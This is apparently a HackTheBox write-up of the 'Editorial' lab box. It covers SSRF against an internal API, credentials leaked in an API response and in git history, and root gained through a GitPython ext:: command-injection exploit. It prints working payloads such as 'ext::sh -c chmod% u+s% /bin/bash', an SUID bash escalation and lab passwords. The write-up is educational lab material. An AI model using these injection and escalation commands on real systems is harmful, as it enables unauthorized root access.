Post

Editorial HackTheBox

Editorial HackTheBox

Box Info:

Editorial was an easy box which featured a book publishing website vulnerable to SSRF. it can be used to gain access to internal API, Access to local API can reveal SSH cerds to the machine. Enumerating the system further we can find a git repo, looking at the commit history we can find one commit with the password to a new user. Root can be obtained via exploiting the RCE in gitopython.

Recon

Nmap

First off, I’ll start with nmap to see what ports are open.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  editorial nmap -sCV -oN scan.txt editorial.htb -T4 --min-rate=10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-27 13:27 EST
Nmap scan report for editorial.htb (10.129.167.37)
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.04 seconds

The site redirects to editorial.htb, I already added to /etc/hosts file.

1
echo '10.129.167.37 editorial.htb' | sudo tee -a /etc/hosts

Site

MONSTERS

Looking at the site I don’t really find anything interesting but there is /upload page.

Our editorial will be happy to publish your book. Please provide next information to meet you.

I can upload an image or give it the URL to an image. if I host an image on my webserver it will get displayed on there.

1
2
Serving on http://0.0.0.0:80
10.129.167.37 - - [2024-11-27 13:50:05] "GET /logo.png HTTP/1.1" 200 -

The HTTP response shows the path of the image it got uploaded to:

Shell as dev

localhost:5000 & API Enum

I tried accessing localhost but it hangs for some seconds and have the same response as site itself. But I can make a request to local?.

After trying for sometime I got an interesting response back on port 5000. I was guessing the prot number when I did the machine on release. When machine got retired, I went to read 0xdf’s writeup which showed a way to FUZZ it with ffuf, go check it out.

1
2
➜  editorial curl http://editorial.htb/static/uploads/b6be4416-74f2-439c-ab61-9324fdfe53e1
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

I mean Exposed Endpoints.

I saved the response in a file, catted the file and piped into jq to have a more human readable look.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
➜  editorial cat api| jq .
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Making request to any of these urls returns the response as above I got, But this endpoint is very interesting /api/latest/metadata/messages/authors. I requested it and got a juicy info back.

1
2
3
4
➜  editorial curl -s 'http://editorial.htb/static/uploads/b67835e4-daed-4717-a961-c0a4adb22ab3' | jq .
{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

It has a username and password. dev : dev080217_devAPI!@

SSH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  editorial ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
    <SNIP>
dev@editorial:~$ ls -lah
total 32K
drwxr-x--- 4 dev  dev  4.0K Jun  5 14:36 .
drwxr-xr-x 4 root root 4.0K Jun  5 14:36 ..
drwxrwxr-x 3 dev  dev  4.0K Jun  5 14:36 apps
lrwxrwxrwx 1 root root    9 Feb  6  2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 dev  dev  3.7K Jan  6  2022 .bashrc
drwx------ 2 dev  dev  4.0K Jun  5 14:36 .cache
-rw-r--r-- 1 dev  dev   807 Jan  6  2022 .profile
-rw-r----- 1 root dev    33 Nov 27 12:51 user.txt

Looking at the box, there are only 2 users.

1
2
3
4
dev@editorial:~/apps$ cat /etc/passwd | grep "bash"
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash

Shell as prod

git commits

There is apps in dev’s home directory which has a .git directory!

1
2
3
4
5
dev@editorial:~/apps$ ls -lah
total 12K
drwxrwxr-x 3 dev dev 4.0K Jun  5 14:36 .
drwxr-x--- 4 dev dev 4.0K Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4.0K Jun  5 14:36 .git

I looked at git logs and found an interesting commit that stood out.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <[email protected]>
    <SNIP>

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

    <SNIP>
:

This b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae commit’s commit message mentions that there was downgrading made from prod to dev. Looking at the commit, it has some juicy stuff.

prod’s creds

1
2
3
4
5
6
dev@editorial:~/apps$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
<SNP>
     return jsonify({
-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
        
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for :

Woah, there goes the prod’s creds. prod : 080217_Producti0n_2023!@.

The creds works over both over SSH and su.

su

1
2
3
dev@editorial:~/apps$ su prod
Password:
prod@editorial:/home/dev/apps$

Shell root

sudo

prod has some sudo power.

1
2
3
4
5
6
7
8
prod@editorial:/home/dev/apps$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

The python script is fairly simple, No rocket science. It just clones a repo from url in that clone_changes directory.

clone_prod_change.py

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Git

1
2
prod@editorial:/home/dev/apps$ git --version
git version 2.34.1

Well, The script is not running the git, it’s using git pkg GitPython.You can read more about it here! Looking at the the installed pkg, it shows the version of git GitPython.

1
2
3
prod@editorial:/home/dev/apps$ pip list | grep -i git
gitdb                 4.0.10
GitPython             3.1.29

Exploiting GitPython

Looking around on the internet I found this writeup from Snyk.

GitPython RCE POC
1
2
3
from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])

sys.argv[1]’s first argument is clone_from which is in the script, we can run command as root like this:

1
2
3
4
5
6
7
8
9
prod@editorial:/home/dev/apps$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'
Traceback (most recent call last):
<SNIP>
Please make sure you have the correct access rights
and the repository exists.

prod@editorial:/home/dev/apps$ ls /tmp/pwned
/tmp/pwned
prod@editorial:/home/dev/apps$

I’ll put a SetUID on /bin/bash to get a root shell.

1
2
3
4
5
6
7
8
9
10
11
prod@editorial:/home/dev/apps$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% u+s% /bin/bash'
<SNIP>
Please make sure you have the correct access rights
and the repository exists.

prod@editorial:/home/dev/apps$ /bin/bash -p
bash-5.1# wc /root/root.txt
 1  1 33 /root/root.txt
bash-5.1# python3 -c 'import os;import pty;os.setuid(0);os.setgid(0);pty.spawn("/bin/bash");'
root@editorial:/home/dev/apps#

Poetic path

The box was good, a puzzle profound,
A hidden git repo waiting to be found.
A careless commit with a password laid bare,
In the app directory, it lingered there.

A Python script with a vulnerable core,
A library weak, an exploit to explore.
Executed the code, the plan was set,
And with it, root access was met.

This post is licensed under CC BY 4.0 by the author.